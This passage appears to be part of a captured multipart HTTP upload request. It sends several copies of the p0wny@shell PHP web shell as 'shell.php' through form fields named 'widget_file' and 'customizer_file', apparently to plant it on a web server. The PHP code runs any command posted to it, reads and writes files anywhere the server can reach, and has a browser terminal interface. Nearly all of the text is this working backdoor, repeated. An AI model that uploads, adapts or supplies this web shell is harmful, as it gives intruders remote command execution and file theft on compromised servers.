stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n \\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"p0wny@shell:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"widget_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>p0wny@shell:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n \\\"?feature=hint\\\",\\n {\\n filename: fileName,\\n cwd: CWD,\\n type: type\\n },\\n _requestCallback\\n );\\n\\n }\\n\\n function featureDownload(name, file) {\\n var element = document.createElement('a');\\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\\n element.setAttribute('download', name);\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.click();\\n document.body.removeChild(element);\\n _insertStdout('Done.');\\n }\\n\\n function featureUpload(path) {\\n var element = document.createElement('input');\\n element.setAttribute('type', 'file');\\n element.style.display = 'none';\\n document.body.appendChild(element);\\n element.addEventListener('change', function () {\\n var promise = getBase64(element.files[0]);\\n promise.then(function (file) {\\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n });\\n }, function () {\\n _insertStdout('An unknown client-side error occurred.');\\n });\\n });\\n element.click();\\n document.body.removeChild(element);\\n }\\n\\n function getBase64(file, onLoadCallback) {\\n return new Promise(function(resolve, reject) {\\n var reader = new FileReader();\\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\\n reader.onerror = reject;\\n reader.readAsDataURL(file);\\n });\\n }\\n\\n function genPrompt(cwd) {\\n cwd = cwd || \\\"~\\\";\\n var shortCwd = cwd;\\n if (cwd.split(\\\"/\\\").length > 3) {\\n var splittedCwd = cwd.split(\\\"/\\\");\\n shortCwd = \\\"\\xe2\\x80\\xa6/\\\" + splittedCwd[splittedCwd.length-2] + \\\"/\\\" + splittedCwd[splittedCwd.length-1];\\n }\\n return \\\"p0wny@shell:<span title=\\\\\\\"\\\" + cwd + \\\"\\\\\\\">\\\" + shortCwd + \\\"</span>#\\\";\\n }\\n\\n function updateCwd(cwd) {\\n if (cwd) {\\n CWD = cwd;\\n _updatePrompt();\\n return;\\n }\\n makeRequest(\\\"?feature=pwd\\\", {}, function(response) {\\n CWD = response.cwd;\\n _updatePrompt();\\n });\\n\\n }\\n\\n function escapeHtml(string) {\\n return string\\n .replace(/&/g, \\\"&\\\")\\n .replace(/</g, \\\"<\\\")\\n .replace(/>/g, \\\">\\\");\\n }\\n\\n function _updatePrompt() {\\n var eShellPrompt = document.getElementById(\\\"shell-prompt\\\");\\n eShellPrompt.innerHTML = genPrompt(CWD);\\n }\\n\\n function _onShellCmdKeyDown(event) {\\n switch (event.key) {\\n case \\\"Enter\\\":\\n featureShell(eShellCmdInput.value);\\n insertToHistory(eShellCmdInput.value);\\n eShellCmdInput.value = \\\"\\\";\\n break;\\n case \\\"ArrowUp\\\":\\n if (historyPosition > 0) {\\n historyPosition--;\\n eShellCmdInput.blur();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n _defer(function() {\\n eShellCmdInput.focus();\\n });\\n }\\n break;\\n case \\\"ArrowDown\\\":\\n if (historyPosition >= commandHistory.length) {\\n break;\\n }\\n historyPosition++;\\n if (historyPosition === commandHistory.length) {\\n eShellCmdInput.value = \\\"\\\";\\n } else {\\n eShellCmdInput.blur();\\n eShellCmdInput.focus();\\n eShellCmdInput.value = commandHistory[historyPosition];\\n }\\n break;\\n case 'Tab':\\n event.preventDefault();\\n featureHint();\\n break;\\n }\\n }\\n\\n function insertToHistory(cmd) {\\n commandHistory.push(cmd);\\n historyPosition = commandHistory.length;\\n }\\n\\n function makeRequest(url, params, callback) {\\n function getQueryString() {\\n var a = [];\\n for (var key in params) {\\n if (params.hasOwnProperty(key)) {\\n a.push(encodeURIComponent(key) + \\\"=\\\" + encodeURIComponent(params[key]));\\n }\\n }\\n return a.join(\\\"&\\\");\\n }\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"POST\\\", url, true);\\n xhr.setRequestHeader(\\\"Content-Type\\\", \\\"application/x-www-form-urlencoded\\\");\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState === 4 && xhr.status === 200) {\\n try {\\n var responseJson = JSON.parse(xhr.responseText);\\n callback(responseJson);\\n } catch (error) {\\n alert(\\\"Error while parsing response: \\\" + error);\\n }\\n }\\n };\\n xhr.send(getQueryString());\\n }\\n\\n document.onclick = function(event) {\\n event = event || window.event;\\n var selection = window.getSelection();\\n var target = event.target || event.srcElement;\\n\\n if (target.tagName === \\\"SELECT\\\") {\\n return;\\n }\\n\\n if (!selection.toString()) {\\n eShellCmdInput.focus();\\n }\\n };\\n\\n window.onload = function() {\\n eShellCmdInput = document.getElementById(\\\"shell-cmd\\\");\\n eShellContent = document.getElementById(\\\"shell-content\\\");\\n updateCwd();\\n eShellCmdInput.focus();\\n };\\n </script>\\n </head>\\n\\n <body>\\n <div id=\\\"shell\\\">\\n <pre id=\\\"shell-content\\\">\\n <div id=\\\"shell-logo\\\">\\n ___ ____ _ _ _ _ _ <span></span>\\n _ __ / _ \\\\__ ___ __ _ _ / __ \\\\ ___| |__ ___| | |_ /\\\\/|| || |_ <span></span>\\n| '_ \\\\| | | \\\\ \\\\ /\\\\ / / '_ \\\\| | | |/ / _` / __| '_ \\\\ / _ \\\\ | (_)/\\\\/_ .. _|<span></span>\\n| |_) | |_| |\\\\ V V /| | | | |_| | | (_| \\\\__ \\\\ | | | __/ | |_ |_ _|<span></span>\\n| .__/ \\\\___/ \\\\_/\\\\_/ |_| |_|\\\\__, |\\\\ \\\\__,_|___/_| |_|\\\\___|_|_(_) |_||_| <span></span>\\n|_| |___/ \\\\____/ <span></span>\\n </div>\\n </pre>\\n <div id=\\\"shell-input\\\">\\n <label for=\\\"shell-cmd\\\" id=\\\"shell-prompt\\\" class=\\\"shell-prompt\\\">???</label>\\n <div>\\n <input id=\\\"shell-cmd\\\" name=\\\"cmd\\\" onkeydown=\\\"_onShellCmdKeyDown(event)\\\"/>\\n </div>\\n </div>\\n </div>\\n </body>\\n\\n</html>\\n\\r\\n-----------------------------121585879226594965303252407916\\r\\nContent-Disposition: form-data; name=\\\"customizer_file\\\"; filename=\\\"shell.php\\\"\\r\\nContent-Type: application/x-php\\r\\n\\r\\n<?php\\n\\nfunction featureShell($cmd, $cwd) {\\n $stdout = array();\\n\\n if (preg_match(\\\"/^\\\\s*cd\\\\s*$/\\\", $cmd)) {\\n // pass\\n } elseif (preg_match(\\\"/^\\\\s*cd\\\\s+(.+)\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*cd\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n chdir($match[1]);\\n } elseif (preg_match(\\\"/^\\\\s*download\\\\s+[^\\\\s]+\\\\s*(2>&1)?$/\\\", $cmd)) {\\n chdir($cwd);\\n preg_match(\\\"/^\\\\s*download\\\\s+([^\\\\s]+)\\\\s*(2>&1)?$/\\\", $cmd, $match);\\n return featureDownload($match[1]);\\n } else {\\n chdir($cwd);\\n exec($cmd, $stdout);\\n }\\n\\n return array(\\n \\\"stdout\\\" => $stdout,\\n \\\"cwd\\\" => getcwd()\\n );\\n}\\n\\nfunction featurePwd() {\\n return array(\\\"cwd\\\" => getcwd());\\n}\\n\\nfunction featureHint($fileName, $cwd, $type) {\\n chdir($cwd);\\n if ($type == 'cmd') {\\n $cmd = \\\"compgen -c $fileName\\\";\\n } else {\\n $cmd = \\\"compgen -f $fileName\\\";\\n }\\n $cmd = \\\"/bin/bash -c \\\\\\\"$cmd\\\\\\\"\\\";\\n $files = explode(\\\"\\\\n\\\", shell_exec($cmd));\\n return array(\\n 'files' => $files,\\n );\\n}\\n\\nfunction featureDownload($filePath) {\\n $file = @file_get_contents($filePath);\\n if ($file === FALSE) {\\n return array(\\n 'stdout' => array('File not found / no read permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n return array(\\n 'name' => basename($filePath),\\n 'file' => base64_encode($file)\\n );\\n }\\n}\\n\\nfunction featureUpload($path, $file, $cwd) {\\n chdir($cwd);\\n $f = @fopen($path, 'wb');\\n if ($f === FALSE) {\\n return array(\\n 'stdout' => array('Invalid path / no write permission.'),\\n 'cwd' => getcwd()\\n );\\n } else {\\n fwrite($f, base64_decode($file));\\n fclose($f);\\n return array(\\n 'stdout' => array('Done.'),\\n 'cwd' => getcwd()\\n );\\n }\\n}\\n\\nif (isset($_GET[\\\"feature\\\"])) {\\n\\n $response = NULL;\\n\\n switch ($_GET[\\\"feature\\\"]) {\\n case \\\"shell\\\":\\n $cmd = $_POST['cmd'];\\n if (!preg_match('/2>/', $cmd)) {\\n $cmd .= ' 2>&1';\\n }\\n $response = featureShell($cmd, $_POST[\\\"cwd\\\"]);\\n break;\\n case \\\"pwd\\\":\\n $response = featurePwd();\\n break;\\n case \\\"hint\\\":\\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\\n break;\\n case 'upload':\\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\\n }\\n\\n header(\\\"Content-Type: application/json\\\");\\n echo json_encode($response);\\n die();\\n}\\n\\n?><!DOCTYPE html>\\n\\n<html>\\n\\n <head>\\n <meta charset=\\\"UTF-8\\\" />\\n <title>p0wny@shell:~#</title>\\n <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\" />\\n <style>\\n html, body {\\n margin: 0;\\n padding: 0;\\n background: #333;\\n color: #eee;\\n font-family: monospace;\\n }\\n\\n *::-webkit-scrollbar-track {\\n border-radius: 8px;\\n background-color: #353535;\\n }\\n\\n *::-webkit-scrollbar {\\n width: 8px;\\n height: 8px;\\n }\\n\\n *::-webkit-scrollbar-thumb {\\n border-radius: 8px;\\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\\n background-color: #bcbcbc;\\n }\\n\\n #shell {\\n background: #222;\\n max-width: 800px;\\n margin: 50px auto 0 auto;\\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\\n font-size: 10pt;\\n display: flex;\\n flex-direction: column;\\n align-items: stretch;\\n }\\n\\n #shell-content {\\n height: 500px;\\n overflow: auto;\\n padding: 5px;\\n white-space: pre-wrap;\\n flex-grow: 1;\\n }\\n\\n #shell-logo {\\n font-weight: bold;\\n color: #FF4180;\\n text-align: center;\\n }\\n\\n @media (max-width: 991px) {\\n #shell-logo {\\n font-size: 6px;\\n margin: -25px 0;\\n }\\n\\n html, body, #shell {\\n height: 100%;\\n width: 100%;\\n max-width: none;\\n }\\n\\n #shell {\\n margin-top: 0;\\n }\\n }\\n\\n @media (max-width: 767px) {\\n #shell-input {\\n flex-direction: column;\\n }\\n }\\n\\n @media (max-width: 320px) {\\n #shell-logo {\\n font-size: 5px;\\n }\\n }\\n\\n .shell-prompt {\\n font-weight: bold;\\n color: #75DF0B;\\n }\\n\\n .shell-prompt > span {\\n color: #1BC9E7;\\n }\\n\\n #shell-input {\\n display: flex;\\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\\n border-top: rgba(255, 255, 255, .05) solid 1px;\\n }\\n\\n #shell-input > label {\\n flex-grow: 0;\\n display: block;\\n padding: 0 5px;\\n height: 30px;\\n line-height: 30px;\\n }\\n\\n #shell-input #shell-cmd {\\n height: 30px;\\n line-height: 30px;\\n border: none;\\n background: transparent;\\n color: #eee;\\n font-family: monospace;\\n font-size: 10pt;\\n width: 100%;\\n align-self: center;\\n }\\n\\n #shell-input div {\\n flex-grow: 1;\\n align-items: stretch;\\n }\\n\\n #shell-input input {\\n outline: none;\\n }\\n </style>\\n\\n <script>\\n var CWD = null;\\n var commandHistory = [];\\n var historyPosition = 0;\\n var eShellCmdInput = null;\\n var eShellContent = null;\\n\\n function _insertCommand(command) {\\n eShellContent.innerHTML += \\\"\\\\n\\\\n\\\";\\n eShellContent.innerHTML += '<span class=\\\\\\\"shell-prompt\\\\\\\">' + genPrompt(CWD) + '</span> ';\\n eShellContent.innerHTML += escapeHtml(command);\\n eShellContent.innerHTML += \\\"\\\\n\\\";\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _insertStdout(stdout) {\\n eShellContent.innerHTML += escapeHtml(stdout);\\n eShellContent.scrollTop = eShellContent.scrollHeight;\\n }\\n\\n function _defer(callback) {\\n setTimeout(callback, 0);\\n }\\n\\n function featureShell(command) {\\n\\n _insertCommand(command);\\n if (/^\\\\s*upload\\\\s+[^\\\\s]+\\\\s*$/.test(command)) {\\n featureUpload(command.match(/^\\\\s*upload\\\\s+([^\\\\s]+)\\\\s*$/)[1]);\\n } else if (/^\\\\s*clear\\\\s*$/.test(command)) {\\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\\n eShellContent.innerHTML = '';\\n } else {\\n makeRequest(\\\"?feature=shell\\\", {cmd: command, cwd: CWD}, function (response) {\\n if (response.hasOwnProperty('file')) {\\n featureDownload(response.name, response.file)\\n } else {\\n _insertStdout(response.stdout.join(\\\"\\\\n\\\"));\\n updateCwd(response.cwd);\\n }\\n });\\n }\\n }\\n\\n function featureHint() {\\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\\n\\n function _requestCallback(data) {\\n if (data.files.length <= 1) return; // no completion\\n\\n if (data.files.length === 2) {\\n if (type === 'cmd') {\\n eShellCmdInput.value = data.files[0];\\n } else {\\n var currentValue = eShellCmdInput.value;\\n eShellCmdInput.value = currentValue.replace(/([^\\\\s]*)$/, data.files[0]);\\n }\\n } else {\\n _insertCommand(eShellCmdInput.value);\\n _insertStdout(data.files.join(\\\"\\\\n\\\"));\\n }\\n }\\n\\n var currentCmd = eShellCmdInput.value.split(\\\" \\\");\\n var type = (currentCmd.length === 1) ? \\\"cmd\\\" : \\\"file\\\";\\n var fileName = (type === \\\"cmd\\\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\\n\\n makeRequest(\\n 